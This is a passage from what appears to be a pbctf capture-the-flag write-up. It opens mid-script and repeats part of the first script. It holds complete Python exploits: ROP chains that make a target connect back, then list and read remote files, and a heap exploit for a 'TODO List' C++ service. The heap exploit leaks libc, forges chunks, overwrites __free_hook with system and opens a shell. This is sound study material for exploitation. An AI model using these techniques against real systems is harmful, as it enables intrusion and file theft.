    STAGE 3: receive large rop
    """
    s.listen(2)
    th = threading.Thread(target=receiver, args=(s,))
    conn, addr = s.accept()
    th.start()
    payload  = b'A' * 0x10
    payload += p32(addr_stage3)
    # prepare args
    payload += p32(rop_pop_eax)
    payload += p32(addr_stage3)
    payload += p32(rop_pop_edx_ecx_ebx)
    payload += p32(arg_recv + 4)
    payload += p32(arg_recv)
    payload += p32(10) # SYS_RECV
    payload += p32(rop_mov_pedx_eax)
    # socketcall(SYS_RECV, [3, buf, 0x1000, 0])
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    payload += p32(rop_leave)
    payload += b'A' * (100 - len(payload))
    #conn.send(payload)

    """
    STAGE 4: THE ROP CHAIN
    """
    payload += p32(0xdeadbeef)
    ## re-connect (because of shutdown! :angry:)
    # socketcall(SYS_SOCKET, [AF_INET, SOCK_STREAM, 0])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_socket)
    payload += p32(1) # SYS_SOCKET
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    # socketcall(SYS_CONNECT, [fd, &client, 0x10])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_connect)
    payload += p32(3) # SYS_CONNECT
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    ## get directory path to read
    payload += p32(rop_pop_eax)
    payload += p32(addr_path)
    payload += p32(rop_pop_edx_ecx_ebx)
    payload += p32(arg_recv2 + 4)
    payload += p32(arg_recv2)
    payload += p32(10) # SYS_RECV
    payload += p32(rop_mov_pedx_eax)
    # socketcall(SYS_RECV, [0, buf, 0xffff, 0])
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)

    ## open(addr_path) == 1
    payload += p32(rop_pop_edx_ecx_ebx)
    payload += p32(0) + p32(0) + p32(addr_path)
    payload += p32(rop_pop_eax)
    payload += p32(5)
    payload += p32(rop_int80)

    for i in range(40):
        ## readdir(1, &dirp, 0)
        # ecx = dirp
        payload += p32(rop_pop_edx)
        payload += p32(libc_stack_end - 0x24)
        payload += p32(rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx)
        payload += p32(rop_pop_ebx_edx)
        payload += p32(1) + p32(0)
        payload += p32(rop_pop_eax)
        payload += p32(89)
        payload += p32(rop_int80)
        ## write(0, &dirp, 0x40)
        payload += p32(rop_pop_ebx_edx)
        payload += p32(0) + p32(0x40)
        payload += p32(rop_pop_eax)
        payload += p32(4)
        payload += p32(rop_int80)

    ## close(1)
    payload += p32(rop_pop_ebx)
    payload += p32(1)
    payload += p32(rop_pop_eax)
    payload += p32(6)
    payload += p32(rop_int80)

    payload += p32(0xdeadbeef)
    payload += b'A' * (0x1000 - len(payload))
    conn.send(payload)
    conn.close()

    th.join()
  1. cat
import socket
import time
import threading
import sys

if len(sys.argv) < 2:
    print("Usage: python3 ls.py <PATH>")
    exit(1)
else:
    TARGET = sys.argv[1].encode() + b'\x00'

def p32(data, byteorder='little', signed=False):
    return data.to_bytes(4, byteorder=byteorder, signed=signed)

SYS_write = 4
SYS_dup2 = 63
SYS_socketcall = 0x66
rop_int80 = 0x0806fa30

arg_connect = 0x80dafc8 # _dl_main_map+552
mem_client  = 0x80da7ca # mp_+10
arg_socket  = 0x80d9c18 # tunable_list+664
arg_recv    = 0x80dace8 # _dl_correct_cache_id
arg_recv2   = 0x80dbbba # state+2
addr_vuln   = 0x8048920
addr_stage3 = 0x80d8000
addr_dup    = 0x806d360
addr_path   = addr_stage3 + 0x1000
addr_write  = 0x806d000
libc_stack_end = 0x80d9da8

rop_pop_eax = 0x080a8dc6
rop_pop_ebx = 0x080481c9
rop_pop_edx = 0x0805c422
rop_pop_esi = 0x08049748
rop_pop_ebx_edx = 0x0806f0eb
rop_pop_ecx_ebx = 0x0806f112
rop_pop_edx_ecx_ebx = 0x0806f111
rop_pop_eax_edx_ebx = 0x080562f4
rop_leave = 0x080487b5

rop_mov_pedx_eax = 0x08056e25
rop_mov_pebx_eax = 0x080a62e6
rop_mov_peax_edx = 0x0809d344
rop_mov_pedx0Ch_ebp_mov_pedx18h_eax = 0x0804e3a0
rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx = 0x0809026e

jmp_p_ebx_eax4_1080h = 0x0808c242 # jmp dword[ebx+eax*4-0x1080]

def receiver(s):
    conn, addr = s.accept()
    conn.send(TARGET) # path
    data = conn.recv(0x40)
    print(data)
    conn.close()

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 512))

    """
    STAGE 2: re-connect me
    """
    payload  = b'A' * 0x10
    payload += p32(addr_stage3) # saved ebp = stage3
    # socketcall(SYS_SOCKET, [AF_INET, SOCK_STREAM, 0])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_socket)
    payload += p32(1) # SYS_SOCKET
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    # socketcall(SYS_CONNECT, [fd, &client, 0x10])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_connect)
    payload += p32(3) # SYS_CONNECT
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    # dup2(0, 3)
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(3)
    payload += p32(0)
    payload += p32(rop_pop_eax)
    payload += p32(SYS_dup2)
    payload += p32(rop_int80)
    # vuln again
    payload += p32(addr_vuln)
    payload += b'A' * (100 - len(payload))
    s.listen(1)
    conn, addr = s.accept()
    #input("[+] Stage 2")
    conn.send(payload)
    conn.close()

    """
    STAGE 3: receive large rop
    """
    s.listen(2)
    th = threading.Thread(target=receiver, args=(s,))
    conn, addr = s.accept()
    th.start()
    payload  = b'A' * 0x10
    payload += p32(addr_stage3)
    # prepare args
    payload += p32(rop_pop_eax)
    payload += p32(addr_stage3)
    payload += p32(rop_pop_edx_ecx_ebx)
    payload += p32(arg_recv + 4)
    payload += p32(arg_recv)
    payload += p32(10) # SYS_RECV
    payload += p32(rop_mov_pedx_eax)
    # socketcall(SYS_RECV, [3, buf, 0x1000, 0])
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    payload += p32(rop_leave)
    payload += b'A' * (100 - len(payload))
    #conn.send(payload)

    """
    STAGE 4: THE ROP CHAIN
    """
    payload += p32(0xdeadbeef)
    ## re-connect (because of shutdown! :angry:)
    # socketcall(SYS_SOCKET, [AF_INET, SOCK_STREAM, 0])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_socket)
    payload += p32(1) # SYS_SOCKET
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    # socketcall(SYS_CONNECT, [fd, &client, 0x10])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_connect)
    payload += p32(3) # SYS_CONNECT
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    ## get directory path to read
    payload += p32(rop_pop_eax)
    payload += p32(addr_path)
    payload += p32(rop_pop_edx_ecx_ebx)
    payload += p32(arg_recv2 + 4)
    payload += p32(arg_recv2)
    payload += p32(10) # SYS_RECV
    payload += p32(rop_mov_pedx_eax)
    # socketcall(SYS_RECV, [0, buf, 0xffff, 0])
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)

    ## open(addr_path) == 1
    payload += p32(rop_pop_edx_ecx_ebx)
    payload += p32(0) + p32(0) + p32(addr_path)
    payload += p32(rop_pop_eax)
    payload += p32(5)
    payload += p32(rop_int80)
    # ecx = dirp
    payload += p32(rop_pop_edx)
    payload += p32(libc_stack_end - 0x24)
    payload += p32(rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx)
    ## read(1, &dirp, 0x40)
    payload += p32(rop_pop_ebx_edx)
    payload += p32(1) + p32(0x40)
    payload += p32(rop_pop_eax)
    payload += p32(3)
    payload += p32(rop_int80)
    ## write(0, &dirp, 0x40)
    payload += p32(rop_pop_ebx_edx)
    payload += p32(0) + p32(0x40)
    payload += p32(rop_pop_eax)
    payload += p32(4)
    payload += p32(rop_int80)
    ## close(1)
    payload += p32(rop_pop_ebx)
    payload += p32(1)
    payload += p32(rop_pop_eax)
    payload += p32(6)
    payload += p32(rop_int80)

    payload += p32(0xdeadbeef)
    payload += b'A' * (0x1000 - len(payload))
    conn.send(payload)
    conn.close()

    th.join()
  1. grep pbctf -rl /flag_dir
import subprocess

output = subprocess.check_output(["python3", "ls.py", "/flag_dir"])

dir1 = []
for line in set(output.decode().split("\n")):
    if line == '' or line == '..' or line == '.':
        continue
    dir1.append(f"/flag_dir/{line}")
print(dir1)

dir2 = []
for path in dir1:
    print(path)
    output = subprocess.check_output(["python3", "ls.py", path])
    for line in set(output.decode().split("\n")):
        if line == '' or line == '..' or line == '.':
            continue
        dir2.append(f"{path}/{line}")
print(dir2)

files = []
for path in dir2:
    print(path)
    output = subprocess.check_output(["python3", "ls.py", path])
    for line in set(output.decode().split("\n")):
        if line == '' or line == '..' or line == '.':
            continue
        files.append(f"{path}/{line}")
print(files)

for path in files:
    print(path)
    output = subprocess.check_output(["python3", "cat.py", path])
    if b'pbctf{' in output:
        print("***********************")
        print(path)
        print(output)
        exit(0)

[pwn 470pts] TODO List (2 solves)

Description: I definitely didn't pay my friend to complete this final project assignment. Though I know my friend is also always struggling with new/delete stuff so I guess I struggle with that too. Also to tell you the truth, I hate commenting my code, always a hassle to do so (real programmers don't need to read any comments to understand the program).
Server: nc todo.chal.perfect.blue 1

This time, we have the source code yay!

$ checksec -f todo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   138 Symbols     No      0               0       todo

The program is a TODO manager which is written in C++. One suspicious part is that it implements its own String type. Checking the strdup algorithm used by the class, it's obvious this doesn't terminate the string by null.

// Special dup function
Char* strdup2(const char *str) {
  uint64_t len = strlen(str);
  Char *ret = new Char[len];
  while (len --> 0) {
    ret[len] = Char(str[len]);
  }
  return ret;
}

Char* strdup2(const Char *str, uint64_t len) {
  Char *ret = new Char[len];
  while (len --> 0) {
    ret[len] = Char(str[len]);
  }
  return ret;
}

The output stream just puts the string as char*, which may over-read the adjacent uninitialized buffer.

// Write to ostream
std::ostream& operator<<(std::ostream& out, const String& str) {
  out << (char*)str.arr;
  return out;
}

So, address leak is pretty easy.

The vulnerability lies in the following part of addTask function.

  String *arr;
  if (taskCount[categ] == 0) { // if the category is zero
    tasks[categ] = arr = new String[count]; //it becomes arr...
  } else {
    String* old = tasks[categ]; // old pointer?
    arr = tasks[categ] = new String[count + taskCount[categ]]; //new array?
    for (int i = 0; i < taskCount[categ]; i++) {
      tasks[categ][i] = old[i]; 
      arr++; // wait why does this get incremented again?
    }
    delete old;
  }

tasks is an array of String*.

String*  tasks[NUM_CATEGORIES];

Each variable points to 8-byte off from the beginning of the chunk. As a result, the last delete old will free a pointer off by 8-byte. (This is because an array has it's size at the top!)

The libc binary is patched and free function no longer checks the alignment.

RUN mkdir /app && \
  echo "$LIBC_HASH $LIBC_FILE" | sha256sum -c && \
  /bin/echo -ne '\x07' | dd of=$LIBC_FILE seek=629249 bs=1 conv=notrunc

We need to abuse this bug to pwn the heap.

First hard point of this challenge is that there's few places where we can free a chunk. One is the delete previously explained. Another takes place in the following piece of code in finishTask.

    while (ind < taskCount[categ]) {
      tasks[categ][ind] = std::move(tasks[categ][ind + 1]);// like a moving van from one home to the next
      ind++;
    }

The assignment calls the move constructor of String, which internally deletes the old pointer.

// Move assignment
String& String::operator=(String&& other) {
  delete []arr; // Free old char array
  size = other.size;
  arr = other.arr;

  other.arr = nullptr;
  return *this;
}

Second problem is the field layout of String*. The structure of String* looks like this:

+00: Array size
+08: element 0: size of `Char*`
+18: element 0: pointer to `Char*`
+28: element 1: size of `Char*`
...

We have to free the pointer to "+08". Thus, the value at "+00" is used as the chunk size and we need to make it a valid value. Assume that we set the array size to 16n+1 so that it'll be linked to tcache. Then, the size of the array must be (16n+1)*16, which is far larger than the size. The elements of the array remains on heap (memory leak) and can never be used so it's useless to link the fake chunk into tcache.

However, what if we can consolidate the fake chunk backwardly? The fake chunk prepared before the freed one will be consolidated and linked to unsorted bin. This is useful because the consolidated chunk may overlap with some available chunks, which may lead us to tcache poisoning or whatever.

It was really hard to make this come true. I did a terrible heap feng shui and prepared a chunk so that it won't be killed by the unlink checks. I remember it was very troublesome but I don't remember what I did :P

It's next to impossible to explain this sort of "Fun with Heap (not fun at all for me)" challenge. I just put my final exploit here:

from ptrlib import *

NUM_CATEGORY = 6

def add(category, tasks):
    sock.sendlineafter(">>> ", "1")
    sock.sendlineafter(">>> ", str(category))
    sock.sendlineafter(": ", str(len(tasks)))
    for task in tasks:
        sock.sendline(task)
def view(category):
    sock.sendlineafter(">>> ", "2")
    sock.sendlineafter(">>> ", str(category))
    sock.recvline()
    tasks = []
    while True:
        l = sock.recvline()
        if b'Please select' in l: break
        tasks.append(l.lstrip())
    return tasks
def finish(category, removes):
    sock.sendlineafter(">>> ", "3")
    sock.sendlineafter(">>> ", str(category))
    for i in range(len(removes)):
        sock.sendlineafter(">>> ", str(removes[i]))
        for j in range(i, len(removes)):
            if removes[j] > removes[i]:
                removes[j] -= 1
    sock.sendlineafter(">>> ", "-1")

"""
libc = ELF("./real_libc.so")
sock = Socket("localhost", 9999)
"""
libc = ELF("./real_libc.so")
sock = Socket("nc todo.chal.perfect.blue 1")
#"""

# leak libc base
add(0, ["A" * 0x420])
finish(0, [1])
add(0, ["\xe0", "X"*4, "Y"*8, "Z"*4])
l = view(0)
finish(0, [2, 3, 4])
libc_base = u64(l[0]) - libc.main_arena() - 0x60
heap_base = u64(l[2][8:]) - 0x126b0
logger.info("libc = " + hex(libc_base))
logger.info("heap = " + hex(heap_base))

# heap feng shui
addr_me = heap_base + 0x12038
payload  = b"E" * 0x38
payload += p64(0) + p64(0x4211)
payload += p64(addr_me + 0x20) + p64(addr_me + 0x20)
payload += p64(0) + p64(0x2221)
payload += p64(addr_me) + p64(addr_me)
payload += b"E" * (0x180 - len(payload))
add(2, ["A", "0" * 0x2400])
add(1, ["C" * 0x420] + ["D" * 0x4200] + [payload]
     + ["B" * 0x21 for i in range(0x1e)])
finish(1, [2])
add(1, ["1" * 0x31] + ["1" * 0x21 for i in range(0x420 - 0x21)])

# fake bcakward consolidate
add(1, ["F"])

# chunk overlap
addr_me = heap_base + 0x12038
payload  = b"Y" * 0x18
payload += p64(0x720)
payload += b"Y" * (0x38 - len(payload))
payload += p64(0) + p64(0x720)
payload += p64(addr_me + 0x30) # unlink
payload += p64(addr_me + 0x30) # largebin double linked list (bk)
payload += p64(addr_me + 0x30)
payload += p64(addr_me + 0x40)
payload += p64(0) + p64(0x21)
payload += p64(addr_me) + p64(addr_me)
payload += p64(addr_me) + p64(addr_me)
payload += p64(addr_me) # largebin double linked list (nextbin)
payload += b"X" * (0x660 - len(payload))
payload += p64(0) + p64(0x21)
payload += p64(libc_base + libc.symbol("__free_hook") - 0x8)
payload += p64(heap_base + 0x10)
payload += b"X" * (0x710 - len(payload))
add(3, [payload])

# :face_vomiting:
add(4, [p64(libc_base + libc.symbol("system")), "B"*8,
        "C"*8, "D"*8, "E"*8])
add(5, ["/bin/sh\0" + "A" * 0x100])

sock.interactive()



觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me